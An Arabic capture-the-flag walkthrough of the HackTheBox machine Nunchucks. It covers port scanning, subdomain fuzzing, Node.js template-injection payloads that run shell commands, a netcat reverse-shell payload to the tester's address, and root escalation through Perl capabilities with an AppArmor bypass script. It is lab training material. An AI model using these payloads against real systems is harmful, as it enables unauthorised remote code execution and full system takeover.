> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md).

# شرح Nunchucks HackTheBox

{% hint style="warning" %}
**المهارات:**

* حقن القوالب من جهة الخادم في NodeJS (Server Side Template Injection)
* تجاوز ملف AppArmor (تصعيد الصلاحيات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/164be0a4b2f7d6957f2146da72d5995adc8b3e61" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/76dd7028e6919a7e4f95ef0f00e0f6c41ba440b1" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.122 -oG allPorts
```

<figure><img src="/files/9635a77b0dd0a5e580890f54e4a113a3221d8d54" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractport:** باستخدام دالة extractport لعرض المنافذ المفتوحة بشكل اصطناعي ونسخها إلى الحافظة.

<figure><img src="/files/76433f82a6e9a60377da14d5cef5f37885e1146d" alt=""><figcaption></figcaption></figure>

**فحص إصدار المنفذ باستخدام Nmap:** استخدام Nmap لفحص إصدار المنفذ واستخراج المعلومات إلى الملف "targeted":

```bash
nmap -sCV -p22,80,443 10.10.11.122 -oN targeted
```

<figure><img src="/files/ed299cc3c9d2bc11fdb184c996bf9f57d06394ca" alt=""><figcaption></figcaption></figure>

لتحويل أسماء النطاقات إلى عناوين IP عبر DNS، أدخل اسم النطاق المرتبط بعنوان IP الخاص به في الـ `/etc/hosts` الملف.

<figure><img src="/files/85e4903341db0fd5e6bd06cc08358368d4164222" alt="" width="563"><figcaption></figcaption></figure>

### المنفذ 443 - HTTPS

<figure><img src="/files/bf1d1eaa68e09277a35b18f26c866a3cbe1c6d84" alt=""><figcaption></figcaption></figure>

نعثر على لوحة تسجيل دخول، لكن من دون بيانات اعتماد معروفة.

<figure><img src="/files/54bb4668305af4a1fc130c12d8fb43f40b138bf6" alt="" width="563"><figcaption></figcaption></figure>

### استكشاف VHost - Gobuster

نقوم بإجراء **fuzzing** للنطاقات الفرعية لتحديد الخدمات المخفية المحتملة:

```bash
gobuster vhost -u https://nunchucks.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -k
```

<figure><img src="/files/d1edc05f0f1ec6b633c4faab459272575a86f47e" alt=""><figcaption></figcaption></figure>

نعثر على النطاق الفرعي **store.nunchucks.htb**.

<figure><img src="/files/8083adc8c9fe66d6f78e5db03b07dac9dc6876b3" alt=""><figcaption></figcaption></figure>

## ثغرة SSTI (Node.js)

نلاحظ وجود وظيفة تتيح لك إدخال بريد إلكتروني للاشتراك في النشرة الإخبارية. يعرض رد الخادم إدخالنا مباشرة، مما يشير إلى احتمال وجود **حقن القوالب من جهة الخادم (SSTI)**.

<figure><img src="/files/d2e296d6f85f22039420df775bd9063575e7b58a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dd118a5f08b9ae49c6bc363b91e336d078114e93" alt=""><figcaption></figcaption></figure>

#### اختبار الثغرة

نعترض الطلب باستخدام **Burp Suite** ونختبر SSTI كلاسيكية:

<figure><img src="/files/a8b8649e43aa3f41f289d9afc6ddc3d8a5c9a694" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}
```

إذا أظهر الرد `81`، فهذا يعني أن التطبيق معرّض للثغرة، وهذا هو الحال هنا.

<figure><img src="/files/48da1a07e4009e86650427ab95881263cba57f26" alt=""><figcaption></figcaption></figure>

### قراءة `/etc/passwd`

نستخدم الحمولة التالية لعرض محتوى `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}
```

{% endcode %}

<figure><img src="/files/0466188bcd3011f9807a034307d3b36f1f4e3039" alt=""><figcaption></figcaption></figure>

#### استرجاع المستخدم الحالي

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}
```

{% endcode %}

نحصل على `david`.

<figure><img src="/files/884720eedc985ed5ed8c958c950224b4ca3327d7" alt=""><figcaption></figcaption></figure>

### شل عكسي عبر SSTI (Node.js)

بدء الاستماع على المنفذ **4444**:

```bash
nc -nlvp 4444
```

أرسل حمولة الصدفة العكسية:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}
```

{% endcode %}

الوصول إلى الجهاز الهدف

<figure><img src="/files/7c3d4d5c74f55db1dd6ac59eaa823fe91aeac0eb" alt=""><figcaption></figcaption></figure>

### الراية user.txt

<figure><img src="/files/544737ecdd0dcebb4caf6bf623db15769dc72cd5" alt="" width="517"><figcaption></figcaption></figure>

#### تثبيت الطرفية

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## تصعيد الصلاحيات

### استغلال **القدرات** على Perl

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#capabilities>" %}

نستعرض **القدرات** المتاحة:

```bash
getcap -r / 2>/dev/null
```

نلاحظ أن `perl` لديه أذونات خاصة.

<figure><img src="/files/d5fc26e1e99516a99d3e62b25dd802482df6a14d" alt=""><figcaption></figcaption></figure>

**تنفيذ أمر كجذر**

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
```

نحصل على **root**.

<figure><img src="/files/2e2ddf6820920143dc8fdd77d4c1d065aa0c1d70" alt=""><figcaption></figcaption></figure>

### تجاوز AppArmor

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p";'
```

<figure><img src="/files/3697f490d61bc467a05ab9cd173957e2225a574f" alt=""><figcaption></figcaption></figure>

الـ `/usr/bin/perl` الملف التنفيذي مقيّد بواسطة **AppArmor**

<figure><img src="/files/b3fbc72e1fcade8d979c20af8f682628e8a602d4" alt=""><figcaption></figcaption></figure>

استغلّ خطأً معروفًا في [AppArmor](https://bugs.launchpad.net/apparmor/+bug/1911431) لتجاوز القيد عبر إنشاء سكربت:

```basic
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
```

<figure><img src="/files/be37514e9ddb0ae3edc783f7663ae7bfeda019a6" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/ec479cefa4d0b4bcb369a73e371e00315fdc0e9b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ceb610ed80d8b9f9f66581a470c36dce5c8cefaa" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
